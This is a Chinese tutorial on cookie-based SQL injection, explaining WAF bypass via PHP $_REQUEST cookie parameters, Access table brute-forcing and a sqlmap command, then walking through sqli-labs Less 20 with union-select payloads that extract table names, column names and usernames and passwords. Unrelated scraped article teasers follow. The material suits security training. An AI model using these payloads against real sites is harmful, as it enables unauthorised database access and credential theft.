Access注入 - Cookie注入

文章目录

  • Cookie注入简介
  • 靶场 sqli-labs less 20
    • 判断是否存在注入
    • 判断字段数
    • 判断显错位
    • 判断数据库
    • 判断表名
    • 判断字段名
    • 获取具体数据

Cookie注入简介

Cookie就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,你可以无需密码直接登录管理员账号

Cookie与注入有什么关系

在动态脚本语言中存在超全局变量可以获取多种传参方式(基本上)

很多时候开发在开发的时候为了考虑到多种接受传参,在接受传参的时候都是用多种解释传参的方式

例如:

php中的 $_request[]可以获取POST|GET|COOKIE传参

注意:PHP5.4以上版本就不会接受Cookie传参了

如果说开发用了$_request[]来解释参数,然后我们的POST和GET传参被WAF拦截了,那么也许WAF没有对Cookie进行检测,我们尝试用Cookie进行传参,有可能会达到绕过的目的。

如何设置Cookie

用Javascript设置,打开F12开发者工具,选择Console,输入Js的语句就可以了

document.cookie="id="+escape("1")
通过浏览器Document.Cookie来设置Cookie
Cookie名字为id  escape是一个编码函数,这个函数会进行一次url编码

accessMySQL_31">access数据库与MySQL数据库的区别

access数据库没有系统自带表,而且access数据库只有一个数据库,不用纠结库名,那怎么获取access数据库的表名和字段名呢,只有一个方法就是爆破

access数据库在进行显错位判断的时候,必须写完整的SQL语句

账号密码一般在盛行access数据库的年代,都在admin表的username和password字段中

注意点:COOKIE注入的时候一定要把GET类型的传参删除,不然优先执行GET类型传参

union select 1,2,3,4,5,6,7,8,9,10 from admin
问:如果不知道库名怎么办?
答:就一个库,没必要知道

问:如果不知道表名怎么办?
答:只能靠爆破,and exists(select * from xxx) 如果页面正常就是存在这个XXX表 exists这个函数就是检查子查询能否查询到数据,如果能会返回一个True

问:sqlmap如何跑Cookie注入
答:sqlmap.py -u 'http://xx.xx.xx.xx:8080/xxx.asp' --cookie "id=123" --level 2

靶场 sqli-labs less 20

这一关的注入方式是cookie注入,所有语句与之前一样

判断是否存在注入

测试以下语句,发现存在单引号闭合,存在cookie注入漏洞

admin and 1=1
admin and 1=2 
admin or 1=1 
admin' and 1=1 --+

判断字段数

发现字段数为3

admin ' order by 3 --+

判断显错位

-1' union select 1,2,3 --+

判断数据库

-1' union select 1,2,database() --+

判断表名

-1' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1 --+

判断字段名

-1' union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' --+

获取具体数据

-1' union select 1,2,id,username,password from users --+


http://www.niftyadmin.cn/n/5038096.html

相关文章

李宏毅-hw7-利用Bert完成QA

一、查漏补缺、熟能生巧: 只有熬过不熟练的时期,反复琢磨,才会有熟练之后,藐视众生的时刻 1.关于transformers中的tokenizer的用法的简单介绍: from transformers import BertTokenizerFast# 加载预训练的BERT模型to…

如何在windows环境下编译T

一, 安装MYSYS2 1. 去https://www.msys2.org下载 msys2-x86_64-xxxxx.exe; 2. 按照msys2.org主页提示的步骤安装; 3.安装完默认起来的是 UCRT的, 可以根据环境的需要选择, 我选择的 MSYS2 MINGW64 4. 搭建编译环境, 安装对应的软…

架构核心技术之分布式消息队列

Java全能学习面试指南:https://javaxiaobear.cn 今天我们来学习分布式消息队列,分布式消息队列的知识结构如下图。 主要介绍以下内容: 同步架构和异步架构的区别。异步架构的主要组成部分:消息生产者、消息消费者、分布式消息队列…

单播与多播mac地址

MAC 地址(Media Access Control Address)是一个用于识别网络设备的唯一标识符。每个网络设备都有一个独特的 MAC 地址,用于在局域网中进行通信。 单播MAC地址:单播MAC地址用于单播通信,即一对一的通信模式。当设备发送…

12万条中法常见词语对照ACCESS数据库

法文是全球通用的语言之一,要拥有国际视野,学懂全球通用语言是您的必然选择。走向成功之门,尽快学会法文吧。《12万条中法常见词语对照ACCESS数据库》收集了汉语常用词语的法文对照翻译。 本数据库是由 Microsoft Access 2000 创建的 MDB 数据…

伦敦金实时行情中的震荡

不知道各位伦敦金投资者,曾经花过多长的时间来观察行情走势的表现,不知道大家是否有统计过,其实行情有60%-70%的时间,都会处于没有明显方向的震荡行情之中呢?面对长期的震荡行情,伦敦金投资者道理应该如何应…

Java学习笔记——字符/字符串

在 Java 语言中,字符串都被设计成「不可变」的类型,即无法直接修改字符串的某一位字符,需要新建一个字符串实现 StringBuilder 字符 字符是用单引号括起来的单个字母,在Java中,表示字符的数据类型为char。一个字符…

正态分布的推导笔记

本篇文章来源于知乎上一篇关于正态分布推导的文章,醍醐灌顶,因此记录下笔记 from Introduction To The Normal Distribution (Bell Curve), BySaul Mcleod, PhD, https://www.simplypsychology.org/normal-distribution.html 假设有误差概率密度函数 f …